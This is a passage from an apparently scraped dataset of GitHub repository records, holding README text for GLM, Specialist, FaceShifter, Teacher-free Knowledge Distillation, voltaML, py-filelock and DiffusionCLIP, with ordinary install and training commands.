Most of the\narguments are fairly self-explanatory. Specifically, `--train-data` can be multiple keywords defined in `NAMED_CORPORA`\nin [data_utils/corpora.py](data_utils/corpora.py). The hyperparameters of the optimizer are defined in the corresponding\njson file under `config`. The semantics of the json file can be found [here](https://www.deepspeed.ai/docs/config-json).\n\n## Citation\n\nPart of the code is based on [Megatron-LM](https://github.com/NVIDIA/Megatron-LM)\nand [PET](https://github.com/timoschick/pet).\n\nPlease cite our paper if you find this code useful for your research:\n\n```\n@article{DBLP:conf/acl/DuQLDQY022,\n  author    = {Zhengxiao Du and\n               Yujie Qian and\n               Xiao Liu and\n               Ming Ding and\n               Jiezhong Qiu and\n               Zhilin Yang and\n               Jie Tang},\n  title     = {{GLM:} General Language Model Pretraining with Autoregressive Blank Infilling},\n  booktitle = {Proceedings of the 60th Annual Meeting of the Association for Computational\n               Linguistics (Volume 1: Long Papers), {ACL} 2022, Dublin, Ireland,\n               May 22-27, 2022},\n  pages     = {320--335},\n  publisher = {Association for Computational Linguistics},\n  year      = {2022},\n}\n```", "readme_type": "markdown", "hn_comments": "\"GLM-130B reaches INT4 quantization w/ no perf degradation, allowing effective inference on 43090 or 82080 Ti GPUs, the most ever affordable GPUs required for using 100B-scale models\" (https://twitter.com/thukeg/status/1579449491316674560)and by extrapolation\n\"Presumably this means you can fit a solid 30B or so model on a single gaming GPU.\" (https://twitter.com/TheSeaMouse/status/1579494085211328512)<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "brandtbucher/specialist", "link": "https://github.com/brandtbucher/specialist", "tags": [], "stars": 507, "description": "Visualize CPython 3.11's specializing, adaptive interpreter. :fire:", "lang": "Python", "repo_lang": "", "readme": "<div align=center>\n\n\nSpecialist\n==========\n\n[![latest version](https://img.shields.io/github/release-pre/brandtbucher/specialist.svg?style=for-the-badge&label=latest)![latest release date](https://img.shields.io/github/release-date-pre/brandtbucher/specialist.svg?style=for-the-badge&label=released)](https://github.com/brandtbucher/specialist/releases)[![build status](https://img.shields.io/github/actions/workflow/status/brandtbucher/specialist/ci.yml.svg?style=for-the-badge&branch=main)](https://github.com/brandtbucher/specialist/actions)[![issues](https://img.shields.io/github/issues-raw/brandtbucher/specialist.svg?label=issues&style=for-the-badge)](https://github.com/brandtbucher/specialist/issues)\n\n<br>\n\n</div>\n\n<div align=justify>\n\nSpecialist uses [fine-grained location](https://peps.python.org/pep-0657/)\ninformation to create visual representations of exactly *where* and *how* CPython\n3.11's new\n[specializing, adaptive interpreter](https://peps.python.org/pep-0659/)\noptimizes your code.\n\n![](https://raw.githubusercontent.com/brandtbucher/specialist/main/examples/output-0.png)\n\n\nInstallation\n------------\n\nSpecialist supports CPython 3.11+ on all platforms.\n\nTo install, just run:\n\n```sh\n$ pip install specialist\n```\n\n\nBackground\n----------\n\nWhile CPython 3.11 is running your code, it identifies \"hot\" regions that are\nbeing run often enough to spend time optimizing. It occasionally \"quickens\"\nthese regions, which `specialist` represents using color. **Dark, rich colors\nindicate code with many quickened instructions (and, therefore, high\nspecialization potential), while light, pale colors indicate code with\nrelatively few specialization opportunities.**\n\nMost of the time, quickening involves three phases:\n\n- Replacing individual bytecode instructions with \"adaptive\" forms. These are\nactually a bit slower than normal instructions, because they attempt to\n\"specialize\" themselves periodically. If they are unable to specialize, they\nwill remain in their adaptive form. **`specialist` uses red to indicate the\npresence of adaptive instructions.**\n\n- Occasionaly, adaptive instructions will convert themselves into much faster\n\"specialized\" instructions. Examples of specializations include attribute\naccesses on a single object or type, certain pure-Python calls, or integer\naddition. **`specialist` uses green to indicate the presence of specialized\ninstructions.**\n\n- If a specialization becomes invalid after some time (for example, if an\nexpression that previously added two integers starts concatenating two strings\ninstead), the specialized instruction may be converted back into an adaptive\none. At this point, the cycle repeats itself.\n\nSpecialist aims to provide insight into this process for the maintainers of\nCPython itself, as well as for users seeking an optimization profile for their\nown code.\n\n\nTutorial\n--------\n\nSuppose we have the following source file, `conversions.py`, which contains some\nutilities and tests for converting between Fahrenheit and Celsius:\n\n```py\nimport math\n\ndef f_to_c(f: float) -> float:\n    \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n    x = f - 32\n    return x * 5 / 9\n\ndef c_to_f(c: float) -> float:\n    \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n    x = c * 9 / 5\n    return x + 32\n\nTEST_VALUES = [-459.67, -273.15, 0.0, 32.0, 42.0, 273.15, 100.0, 212.0, 373.15]\n\ndef test_conversions() -> None:\n    for t in TEST_VALUES:\n        assert_round_trip(t)\n\ndef assert_round_trip(t: float) -> None:\n    # Round-trip Fahrenheit through Celsius:\n    assert math.isclose(t, f_to_c(c_to_f(t))), f\"{t} F -> C -> F failed!\"\n    # Round-trip Celsius through Fahrenheit:\n    assert math.isclose(t, c_to_f(f_to_c(t))), f\"{t} C -> F -> C failed!\"\n\nif __name__ == \"__main__\":\n    test_conversions()\n```\n\nWe can run this file with CPython 3.11 from the command-line using `specialist`:\n\n```sh\n$ specialist conversions.py\n```\n\nAfter the script has finished running, `specialist` will open a web browser and\ndisplay the annotated program source:\n\n![](https://raw.githubusercontent.com/brandtbucher/specialist/main/examples/output-1.png)\n\nThe green areas indicate regions of code that were successfully specialized,\nwhile the red areas indicate unsuccessful specializations (in the form of\n\"adaptive\" instructions). Mixed results are indicated by colors along the\ngreen-yellow-orange-red gradient, depending on the ratio of successes to\nfailures. Regions of code that don't contain any attempted specializations are\nleft white.\n\nFocusing on `f_to_c` and `c_to_f` for a moment, we can see that CPython is\nfailing to specialize addition and subtraction by `32`. It doesn't currently\nspecialize binary operators between mixed `float` and `int` values, which is\nexactly what the code here is doing.\n\nIt can, however, specialize addition and subtraction between two `float` values!\nReplacing `32` with `32.0` results in successful specializations (confirmed by\nre-running `specialist`):\n\n![](https://raw.githubusercontent.com/brandtbucher/specialist/main/examples/output-2.png)\n\nWe can see that something similar is happening with `float` and `int`\nmultiplication as well. One option could be to continue converting constant\nvalues to `float`:\n\n![](https://raw.githubusercontent.com/brandtbucher/specialist/main/examples/output-3.png)\n\nHowever, there's a better option! Notice that CPython doesn't attempt to\nspecialize division at all (it's left white in the visualization). We can take\nadvantage of CPython's constant folding optimizations by slightly changing the\norder of operations, which allows our scaling factors (`5 / 9` and `9 / 5`) to\nbe computed at compile-time. When we do this, CPython is able to implement our\nconverters *entirely* using native floating-point operations:\n\n![](https://raw.githubusercontent.com/brandtbucher/specialist/main/examples/output-4.png)\n\nA few notes on the remaining code:\n\n- The global lookup of `TEST_VALUES` is red because it hasn't had the\nopportunity to be specialized yet. Though CPython *was* able to identify\n`test_conversions` as \"hot\" code and quicken the body, this didn't happen until\n*after* `TEST_VALUES` was looked up (which happens only once). It would be\nwasteful to spend time optimizing code that is never run again!\n\n- Similarly, parts of the `assert` statements in `assert_round_trip` are red\nbecause they are \"dead\" code that never actually runs.\n\n- The calls to `math.is_close` are orange because it is implemented in C.\nC extensions can't be \"inlined\" the same way as pure-Python calls like`c_to_f`,\n`f_to_c`, and `assert_round_trip`, so most of the call sequence isn't able to be\nspecialized.\n\n\nModes\n-----\n\nLike `python` itself, `specialist` can run code a few different ways. It can be\ngiven a file path:\n\n```sh\n$ specialist spam/eggs.py foo bar baz\n```\n\nOr a module name:\n\n```sh\n$ specialist -m spam.eggs foo bar baz\n```\n\nOr a command:\n\n```sh\n$ specialist -c 'import spam; spam.eggs()' foo bar baz\n```\n\nIt also has a `-t`/`--targets` option to support discovery of arbitrary \"target\"\nfiles to analyze after the script completes. This is useful if the script being\nrun is different from the code you want to visualize:\n\n```sh\n$ specialist --targets spam/eggs.py -c 'import uses_eggs; uses_eggs.run()'\n```\n\nMultiple files can be provided using \"glob\" style patterns:\n\n```sh\n$ specialist --targets 'spam/**/*.py' -m pytest\n```\n\nSpecialist can also write the generated HTML files to the filesystem instead of\nopening them in a browser. To do so, just provide an output directory path using\nthe `-o`/`--output` option:\n\n```sh\n$ specialist --output ../report --targets 'spam/**/*.py' -m pytest\n/home/brandtbucher/sketch/spam/__init__.py -> /home/brandtbucher/report/__init__.html\n/home/brandtbucher/sketch/spam/_spammy.py -> /home/brandtbucher/report/_spammy.html\n/home/brandtbucher/sketch/spam/eggs/__init__.py -> /home/brandtbucher/report/eggs/__init__.html\n/home/brandtbucher/sketch/spam/eggs/_eggy.py -> /home/brandtbucher/report/eggs/_eggy.html\n```\n\nOptions\n-------\n\n### `-b`/`--blue`\n\nUse blue (rather than green) to indicate specialized code. Some users may find\na blue-violet-magenta-red gradient easier to read than the default\ngreen-yellow-orange-red one.\n\n### `-d`/`--dark`\n\nUse light text on a dark background. Some users may find a dark scheme makes\nthem feel cooler than the default light one.\n\n</div>\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "mindslab-ai/faceshifter", "link": "https://github.com/mindslab-ai/faceshifter", "tags": ["pytorch", "pytorch-lightning", "face-swapping"], "stars": 508, "description": "Unofficial PyTorch Implementation for FaceShifter (https://arxiv.org/abs/1912.13457)", "lang": "Python", "repo_lang": "", "readme": "# FaceShifter &mdash; Unofficial PyTorch Implementation\n![](./assets/teaser_v8.jpg)\n![](./assets/deepfake_method_stage1_v8.png)\n![issueBadge](https://img.shields.io/github/issues/mindslab-ai/faceshifter)   ![starBadge](https://img.shields.io/github/stars/mindslab-ai/faceshifter)   ![repoSize](https://img.shields.io/github/repo-size/mindslab-ai/faceshifter)  ![lastCommit](https://img.shields.io/github/last-commit/mindslab-ai/faceshifter) \n\nUnofficial Implementation of [FaceShifter: Towards High Fidelity And Occlusion Aware Face Swapping](https://arxiv.org/abs/1912.13457) with [Pytorch-Lightning](https://github.com/PyTorchLightning/pytorch-lightning).\nIn the paper, there are two networks for full pipe-line, AEI-Net and HEAR-Net. We only implement the AEI-Net, which is main network for face swapping.\n\n### Take a look [HifiFace](https://github.com/mindslab-ai/hififace), our implementation of a more recent face swapping model.\n\n## Datasets\n\n### Preparing Data\n\nYou need to download and unzip:\n- [FFHQ](https://github.com/NVlabs/ffhq-dataset) \n- CelebA-HQ ([Unofficial Download Script](https://github.com/suvojit-0x55aa/celebA-HQ-dataset-download))\n- VGGFace ([Unofficial Download Script](https://github.com/ndaidong/vgg-faces-utils))\n\n### Preprocess Data\nPreprocessing code is mainly based on [Nvidia's FFHQ preprocessing code](https://github.com/NVlabs/ffhq-dataset/blob/bb67086731d3bd70bc58ebee243880403726197a/download_ffhq.py#L259-L349).\nYou may modify our [preprocess](./preprocess) with multi-processing functions to finish pre-processing step much faster.\n```bash\n# build docker image from Dockerfile\ndocker build -t dlib:0.0 ./preprocess\n# run docker container from image\ndocker run -itd --ipc host -v /PATH_TO_THIS_FOLDER/preprocess:/workspace -v /PATH_TO_THE_DATA:/DATA -v /PATH_TO_SAVE_DATASET:/RESULT --name dlib --tag dlib:0.0\n# attach\ndocker attach dlib\n# preprocess with dlib\npython preprocess.py --root /DATA --output_dir /RESULT\n```\n\n## Training\n### Configuration\nThere is `yaml` file in the [`config`](./config) folder.\nThey **must** be edited to match your training requirements (dataset, metadata, etc.).\n\n- [`config/train.yaml`](./config/train.yaml): Configs for training AEI-Net.\n  - Fill in the blanks of: `dataset_dir`, `valset_dir`\n  - You may want to change: `batch_size` for GPUs other than 32GB V100, or `chkpt_dir` to save checkpoints in other disk.\n  \n### Using Docker\nWe provide a Dockerfile for easier training environment setup.\n```bash\ndocker build -t faceshifter:0.0 .\ndocker run -itd --ipc host --gpus all -v /PATH_TO_THIS_FOLDER:/workspace -v /PATH_TO_DATASET:/DATA --name FS --tag faceshifter:0.0\ndocker attach FS\n```\n\n### Pre-trained Arcface\nDuring the training process, pre-trained [Arcface](https://openaccess.thecvf.com/content_CVPR_2019/html/Deng_ArcFace_Additive_Angular_Margin_Loss_for_Deep_Face_Recognition_CVPR_2019_paper.html)\nis required. We provide our pre-trained Arcface model; you can download at [this](https://drive.google.com/file/d/1TAb6WNfusbL2Iv3tfRCpMXimZE9tnSUn/view?usp=sharing) link\n\n### Command\nTo train the AEI-Net, run this command:\n\n```bash\npython aei_trainer.py -c <path_to_config_yaml> -g <gpus> -n <run_name>\n# example command that might help you understand the arguments:\n# train from scratch with name \"my_runname\"\npython aei_trainer.py -c config/train.yaml -g 0 -n my_runname\n```\n\nOptionally, you can resume the training from previously saved checkpoint by adding `-p <checkpoint_path>` argument.\n\n### Monitoring via Tensorboard\n\nThe progress of training with loss values and validation output can be monitored with Tensorboard.\nBy default, the logs will be stored at `log`, which can be modified by editing `log.log_dir` parameter at config yaml file.\n\n```bash\ntensorboard --log_dir log --bind_all # Scalars, Images, Hparams, Projector will be shown.\n```\n\n## Inference\nTo inference the AEI-Net, run this command:\n```bash\npython aei_inference.py --checkpoint_path <path_to_pre_trained_file> --target_image <path_to_target_image_file> --source_image <path_to_source_image_file> --output_path <path_to_output_image_file> --gpu_num <number of gpu>\n# example command that might help you understand the arguments:\n# train from scratch with name \"my_runname\"\npython aei_inference.py --checkpoint_path chkpt/my_runname/epoch=0.ckpt --target_image target.png --source_image source.png --output_path output.png --gpu_num 0\n```\n\nWe probived [colab example](https://colab.research.google.com/drive/1M99jX_nhZ74j_jdYIDtTvDKEE-XVoQnn?usp=sharing). You can use it with your own trained weight. \n\n## Results\n\n![](assets/jobs2cook.gif)\n\n### Comparison with results from original paper\n#### Figure in the original paper\n![](assets/wild_v6.jpg)\n#### Our Results\n![](assets/our_results.png)\n\nReminds you that we __only implement the AEI-Net,__ and the results in the original paper were generated by AEI-Net and HEAR-Net.\n\nWe will soon release the FaceShifter in our cloud API service, [maum.ai](https://maum.ai/?lang=en)\n\n## License\n\n[BSD 3-Clause License](https://opensource.org/licenses/BSD-3-Clause).\n\n## Implementation Author\n\nChangho Choi @ MINDs Lab, Inc. (changho@mindslab.ai)\n\n## Paper Information\n\n```bibtex\n@article{li2019faceshifter,\n  title={Faceshifter: Towards high fidelity and occlusion aware face swapping},\n  author={Li, Lingzhi and Bao, Jianmin and Yang, Hao and Chen, Dong and Wen, Fang},\n  journal={arXiv preprint arXiv:1912.13457},\n  year={2019}\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "yuanli2333/Teacher-free-Knowledge-Distillation", "link": "https://github.com/yuanli2333/Teacher-free-Knowledge-Distillation", "tags": ["knowledge-distillation", "pytorch", "teacher-free", "paper-implementations", "label-smoothing"], "stars": 507, "description": "Knowledge Distillation: CVPR2020 Oral, Revisiting Knowledge Distillation via Label Smoothing Regularization", "lang": "Python", "repo_lang": "", "readme": "# Teacher-free-Knowledge-Distillation\n## Implementation for our paper: Revisiting Knowledge Distillation via Label Smoothing Regularization, [arxiv](https://scholar.google.com/scholar?hl=en&as_sdt=0%2C22&q=Revisit+Knowledge+Distillation%3A+a+Teacher-free+Framework+Yuan&btnG=) \n\nThe paper in arxiv and CVPR2020 has different titles: Revisiting Knowledge Distillation via Label Smoothing Regularization and Revisit Knowledge Distillation (CVPR) a Teacher-free Framework (arxiv), we will update the arxiv version with the correct title.\n\nOur work suggests that: when a neural network is too powerful to find stronger teacher models, or computation resource is limited to train teacher models, \"self-training\" or \"manually-designed regularization\" can be applied. \n\nFor example, ResNeXt101-32x8d is a powerful model with 88.79M parameters and 16.51G FLOPs on ImageNet, and it is hard or computation expensive to train a stronger teacher model for this student. Our strategy can further improve this powerful student model by 0.48\\% without extra computation on ImageNet. Similarly, when taking a powerful single model ResNeXt29-8x64d with 34.53M parameters as a student model, our self-training implementation achieves more than 1.0\\% improvement on CIFAR100 (from 81.03\\% to 82.08\\%).\n\n\n![](/figures/figure_ill.png)\n\n\n\n## 1. Preparations\n\nClone this repository:\n```\ngit clone https://github.com/yuanli2333/Teacher-free-Knowledge-Distillation.git\n```\n\n### 1.1 Environment\nBuild a new environment and install:\n```\npip install -r requirements.txt\n```\n\nBetter use: NVIDIA GPU + CUDA9.0 + Pytorch 1.2.0\n\nPlease do not use other versions of pytorch, otherwise, some experiment results may not be reproduced because some slight difference would make the hyper-parameters different. \n\n### 1.2 Dataset\n[CIFAR100](https://www.cs.toronto.edu/~kriz/cifar.html), [CIFAR10](https://www.cs.toronto.edu/~kriz/cifar.html) and [Tiny_ImageNet](https://tiny-imagenet.herokuapp.com/);\nFor CIFAR100 and CIFAR10, our codes will download the datasets automatically. For Tiny-ImageNet, you should download and put in the dir: \"data/\". The follow instruction and commands are for CIFAR100.\n\n## 2. Train baseline models\nYou can skip this step by using our pre-trained models in [here](https://github.com/yuanli2333/Teacher-free-Knowledge-Distillation/releases/download/checkpoint/pretrained_teacher_models.zip). Download and unzip to: experiments/pretrained_teacher_models/\n\n\nUse ''--model_dir'' to specify the directory of \"parameters\", model saving and log saving.\n\nFor example, normally train ResNet18 to obtain the pre-trained teacher:\n```\nCUDA_VISIBLE_DEVICES=0 python main.py --model_dir experiments/base_experiments/base_resnet18/\n```\nWe ignore the command ''CUDA_VISIBLE_DEVICES=gpu_id'' in the following commands\n\nNormally train MobileNetV2 to obtain the baseline model and baseline accuracy:\n```\npython main.py --model_dir experiments/base_experiments/base_mobilenetv2/\n```\n\nNormally train ResNeXt29 to obtain the baseline model and baseline accuracy:\n```\npython main.py --model_dir experiments/base_experiments/base_resnext29/\n```\nThe baseline accuracy (in %) on CIFAR100 is:\n\n| Model  |  Baseline Acc |\n| :---     |    :---:   | \n| MobileNetV2 |    68.38   |\n| ShuffleNetV2  |    70.34  |   \n| ResNet18 |    75.87   |   \n| ResNet50 |    78.16   |  \n| GoogLeNet |    78.72  | \n| Desenet121 |   79.04  |   \n| ResNeXt29 |   81.03  |   \n \n  \n\n## 3. Exploratory experiments (Section 2 in our paper)\n\n\n### 3.1 Reversed KD (Re-KD)\nNormal KD: ResNet18 teach MobileNetV2\n```\npython main.py --model_dir experiments/kd_experiments/mobilenet_v2_distill/resnet18_teacher/\n```\n\n\nRe-KD: MobileNetV2 teach ResNet18\n```\npython main.py --model_dir experiments/kd_experiments/resnet18_distill/mobilenet_v2_teacher/\n```\n\nRe-KD: ShuffleNetV2 teach ResNet18\n```\npython main.py --model_dir experiments/kd_experiments/resnet18_distill/shufflenet_v2_teacher/\n```\n\nRe-KD experiment results on CIFAR100: \n\n![](/figures/Re-KD.png)\n\n### 3.2 Defective KD (De-KD)\nUse the arguments \"--pt_teacher\" to switch to Defective KD experiment.\n\nFor expample, use a pooly-trained Teacher ResNet18 with 15.48% accuracy (just trained one epoch) to teach MobileNetV2:\n\n```\npython main.py --model_dir experiments/kd_experiments/mobilenet_v2_distill/resnet18_teacher/ --pt_teacher\n```\n\nUse one-epoch trained teacher ResNet18 to teach ShuffleNetV2:\n```\npython main.py --model_dir experiments/kd_experiments/shufflenet_v2_distill/resnet18_teacher/ --pt_teacher\n```\n\nUse 50-epoch-trained teacher ResNet50 (acc:45.82%) to teach ShuffleNetV2:\n```\npython main.py --model_dir experiments/kd_experiments/shufflenet_v2_distill/resnet50_teacher/ --pt_teacher\n```\nUse 50-epoch-trained teacher ResNet50 (acc:45.82%) to teach ResNet18:\n```\npython main.py --model_dir experiments/kd_experiments/resnet18_distill/resnet50_teacher/ --pt_teacher\n```\nUse 50-epoch-trained teacher ResNeXt29 (acc:51.94%) to teach MobileNetV2:\n```\npython main.py --model_dir experiments/kd_experiments/mobilenet_v2_distill/resnext29_teacher/ --pt_teacher\n```\nDe-KD experiment results on CIFAR100: \n![](/figures/De-KD.png)\n\n## 4. Teacher-free KD (Tf-KD)  (Section 5 in our paper)\nWe have two implementations to achieve Tf-KD, the first one is self-training, the second one is manually-designed teacher(regularization)\n\n### 4.1 Tf-KD self-training\nUse the arguments ''--self_training'' to control this training. The --model_dir should be experiment dirctory, should be \"experiments/kd_experiments/student/student_self_teacher\"\n\nMobileNetV2 self training:\n```\npython main.py --model_dir experiments/kd_experiments/mobilenet_v2_distill/mobilenet_self_teacher/ --self_training\n```\n![](/figures/cifar100_mv2_selfKD.jpg)\n\nShuffleNetV2 self training:\n```\npython main.py --model_dir experiments/kd_experiments/shufflenet_v2_distill/shufflenet_self_teacher/ --self_training\n```\n\nResNet18 self training:\n```\npython main.py --model_dir experiments/kd_experiments/resnet18_distill/resnet18_self_teacher/ --self_training\n```\n![](/figures/cifar100_r18_selfKD.jpg)\n\nOur method achieve more than 1.0% improvement for a big single model ResNeXt29, run self-training for ResNeXt29:\n```\npython main.py --model_dir experiments/kd_experiments/resnext29_distill/resnext29_self_teacher/ --self_training\n```\n\nTf-KD self-training experiment results on CIFAR100: \n\n![](/figures/Tf-self.png)\n\n\n### 4.2 Tf-KD manually-designed teacher(regularization)\n\nMobileNetV2 taught by mannually-designed regularization:\n```\npython main.py --model_dir experiments/base_experiments/base_mobilenetv2/  --regularization\n```\n\nShuffleNetV2 taught by mannually-designed regularization:\n```\npython main.py --model_dir experiments/base_experiments/base_shufflenetv2/ --regularization\n```\n\n\nResNet18 taught by mannually-designed regularization:\n```\npython main.py --model_dir experiments/base_experiments/base_resnet18/  --regularization\n```\n\nGoogLeNet taught by mannually-designed regularization:\n\n```\npython main.py --model_dir experiments/base_experiments/base_googlenet/ --regularization\n```\n\n\n### 4.3 Lable Smoothing Regularization\n\nMobileNetV2 Lable Smoothing:\n```\npython main.py --model_dir experiments/base_experiments/base_mobilenetv2/  --label_smoothing\n```\n\nShuffleNetV2 Lable Smoothing:\n```\npython main.py --model_dir experiments/base_experiments/base_shufflenetv2/ --label_smoothing\n```\n\nTf-KD regularization and LSR experiment results on CIFAR100: \n\n![](/figures/Reg-Normal-LSR.png)\n\n\n\n\n### Reference\nIf you find this repo useful, please consider citing:\n```\n@inproceedings{yuan2020revisiting,\n  title={Revisiting Knowledge Distillation via Label Smoothing Regularization},\n  author={Yuan, Li and Tay, Francis EH and Li, Guilin and Wang, Tao and Feng, Jiashi},\n  booktitle={Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition},\n  pages={3903--3911},\n  year={2020}\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "VoltaML/voltaML-fast-stable-diffusion", "link": "https://github.com/VoltaML/voltaML-fast-stable-diffusion", "tags": ["ai-art", "generative-art", "generative-model", "linux", "pytorch", "stable-diffusion", "text2image", "windows"], "stars": 507, "description": "Library to accelerate Stable-Diffusion models into fastest inference models \ud83d\udd25 \ud83d\udd25 ", "lang": "Python", "repo_lang": "", "readme": "<p align=\"center\">\n  <img width=\"1000\" height=\"500\" src=\"https://user-images.githubusercontent.com/107309002/207094372-9aacc79e-7731-41ea-8d77-29d5ce75167f.png\">\n</p>\n\n<h1 align=\"center\">\ud83d\udd25 \ud83d\udd25 voltaML-fast-stable-diffusion webUI \ud83d\udd25 \ud83d\udd25 </h1>\n\n###\n\n<div align=\"center\">\n<a href=\"https://discord.gg/pY5SVyHmWm\"> <img src=\"https://dcbadge.vercel.app/api/server/pY5SVyHmWm\" /> </a> \n</div>\n\nLightweight library to accelerate Stable-Diffusion, Dreambooth into fastest inference models with **WebUI single click or single line of code**.\n\n<h1 align=\"center\"> Setup webUI </h3>\n\n![Screenshot from 2022-12-12 11-19-09](https://user-images.githubusercontent.com/107309002/206970939-f827f7b9-6966-41c1-a2aa-3ed18e73d399.png)\n\n![Screenshot from 2022-12-12 11-36-37](https://user-images.githubusercontent.com/107309002/206972269-1223c567-3df8-41c5-a7b3-f31e544b98aa.png)\n\n#### Docker setup (if required)\n\nSetup docker on Ubuntu using [these intructions](https://docs.docker.com/engine/install/ubuntu/).\n\nSetup docker on Windows using [these intructions](https://docs.docker.com/desktop/install/windows-install/)\n\n### Launch voltaML container\n\nDownload the [docker-compose.yml](https://raw.githubusercontent.com/VoltaML/voltaML-fast-stable-diffusion/main/docker-compose.yml) file from this repo.\n\n\u26a0\ufe0f Linux: Open it in a text editor and change the path of the output folder. It was configured for Windows only.\n\n```yaml\noutput:\n  driver: local\n  driver_opts:\n    type: none\n    device: C:\\voltaml\\output # this line\n    o: bind\n```\n\n**Then, open a terminal in that folder and run the following command**\n\n#### Linux\n\n```\nsudo docker-compose up\n```\n\n#### Windows\n\n```\ndocker-compose up\n```\n\n### How to use webUI\n\n1.  Once you launch the container, a flask app will run and copy/paste the url to run the webUI on your local host.\n    ![Screenshot from 2022-12-12 12-36-01](https://user-images.githubusercontent.com/107309002/206982082-ee498781-9e6d-4b80-a652-2e4e29a2835e.png)\n\n2.  There are two backends to run the SD on, PyTorch and TensorRT (fastest version by NVIDIA).\n3.  To run on PyTorch inference, you have to select the model, the model will be downloaded (which will take a few mins) into the container and the inference will be displayed. Downloaded models will be shown as below\n    ![download_sd](https://user-images.githubusercontent.com/107309002/206983689-5f40f446-426b-45b7-88fa-db224099dd8e.png)\n4.  To run TensoRT inference, go to the Accelerate tab, pick a model from our model hub and click on the accelerate button. <br/>\n    ![Screenshot from 2022-12-12 13-17-23](https://user-images.githubusercontent.com/107309002/206989892-6f04dbdf-312b-41b3-bb69-684610659fae.png)\n5.  Once acceleration is done, the model will show up in your TensorRT drop down menu.\n6.  Switch your backend to TensorRT, select the model and enjoy the fastest outputs \ud83d\ude80\ud83d\ude80\n\n## Benchmark\n\nThe below benchmarks have been done for generating a 512x512 image, batch size 1 for 50 iterations.\n\n| Model                    | T4 (it/s)     | A10 (it/s) | A100 (it/s) | 4090 (it/s) | 3090 (it/s) | 2080Ti (it/s) |\n| ------------------------ | ------------- | ---------- | ----------- | ----------- | ----------- | ------------- |\n| PyTorch                  | 4.3           | 8.8        | 15.1        | 19          | 11          | 8             |\n| Flash attention xformers | 5.5           | 15.6       | 27.5        | 28          | 15.7        | N/A           |\n| AITemplate               | Not supported | 26.7       | 55          | 60          | N/A         | Not supported |\n| VoltaML(TRT-Flash)       | 11.4          | 29.2       | 62.8        | 85          | 44.7        | 26.2          |\n\n### \u26a0\ufe0f \u203c\ufe0f Warnings/Caveats\n\n**This is v0.1 of the product. Things might break. A lot of improvements are on the way, so please bear with us.**\n\n1. This will only work for NVIDIA GPUs with compute capability > 7.5.\n2. Cards with less than 12GB VRAM will have issues with acceleration, due to high memory required for the conversions. We're working on resolving these in our next release.\n3. While the model is accelerating, **no other functionality will work since the GPU will be fully occupied**\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "tox-dev/py-filelock", "link": "https://github.com/tox-dev/py-filelock", "tags": ["python", "filelock", "hacktoberfest"], "stars": 506, "description": "A platform-independent file lock for Python.", "lang": "Python", "repo_lang": "", "readme": "# py-filelock\n\n[![PyPI](https://img.shields.io/pypi/v/filelock)](https://pypi.org/project/filelock/)\n[![Supported Python\nversions](https://img.shields.io/pypi/pyversions/filelock.svg)](https://pypi.org/project/filelock/)\n[![Documentation\nstatus](https://readthedocs.org/projects/py-filelock/badge/?version=latest)](https://py-filelock.readthedocs.io/en/latest/?badge=latest)\n[![Code style:\nblack](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)\n[![Downloads](https://pepy.tech/badge/filelock/month)](https://pepy.tech/project/filelock)\n[![check](https://github.com/tox-dev/py-filelock/actions/workflows/check.yml/badge.svg)](https://github.com/tox-dev/py-filelock/actions/workflows/check.yml)\n\nFor more information checkout the [official documentation](https://py-filelock.readthedocs.io/en/latest/index.html).\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "gwang-kim/DiffusionCLIP", "link": "https://github.com/gwang-kim/DiffusionCLIP", "tags": [], "stars": 507, "description": "[CVPR 2022] Official PyTorch Implementation for DiffusionCLIP: Text-guided Image Manipulation Using Diffusion Models", "lang": "Python", "repo_lang": "", "readme": "# DiffusionCLIP: Text-Guided Diffusion Models for Robust Image Manipulation (CVPR 2022) \n\n[![Replicate](https://replicate.com/gwang-kim/diffusionclip/badge)](https://replicate.com/gwang-kim/diffusionclip) [![Open In Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/drive/1E8QHZ3BbkF6hzk0rRKzhfkySmYf_BZaE?usp=sharing) [![arXiv](https://img.shields.io/badge/paper-cvpr2022-cyan)](https://openaccess.thecvf.com/content/CVPR2022/html/Kim_DiffusionCLIP_Text-Guided_Diffusion_Models_for_Robust_Image_Manipulation_CVPR_2022_paper.html) [![arXiv](https://img.shields.io/badge/arXiv-2110.02711-red)](https://arxiv.org/abs/2110.02711)\n[![video](https://img.shields.io/badge/video-green)](https://youtu.be/YVCtaXw6fw8) [![poster](https://img.shields.io/badge/poster-orange)](https://drive.google.com/file/d/1QgRFIRba492dCZ6v7BcZB9zqyp91aTjL/view?usp=sharing) \n\n<p align=\"center\">\n\n  <img src=\"https://github.com/submission10095/DiffusionCLIP_temp/blob/master/imgs/main1.png\" />\n\n  <img src=\"https://github.com/submission10095/DiffusionCLIP_temp/blob/master/imgs/main2.png\" />\n\n</p> \n\n[comment]: <> (![]&#40;imgs/main1.png&#41;)\n\n[comment]: <> (![]&#40;imgs/main2.png&#41;)\n\n> **DiffusionCLIP: Text-Guided Diffusion Models for Robust Image Manipulation**<br>\n> [Gwanghyun Kim](https://gwang-kim.github.io/), Taesung Kwon, [Jong Chul Ye](https://bispl.weebly.com/professor.html) <br>\n> CVPR 2022\n> \n>**Abstract**: <br>\nRecently, GAN inversion methods combined with Contrastive Language-Image Pretraining (CLIP) enables zero-shot image manipulation guided by text prompts. \n> However, their applications to diverse real images are still difficult due to the limited GAN inversion capability. \n> Specifically, these approaches often have difficulties in reconstructing images with novel poses, views, and highly variable contents compared to the training data, altering object identity, or producing unwanted image artifacts. \n> To mitigate these problems and enable faithful manipulation of real images, we propose a novel method, dubbed 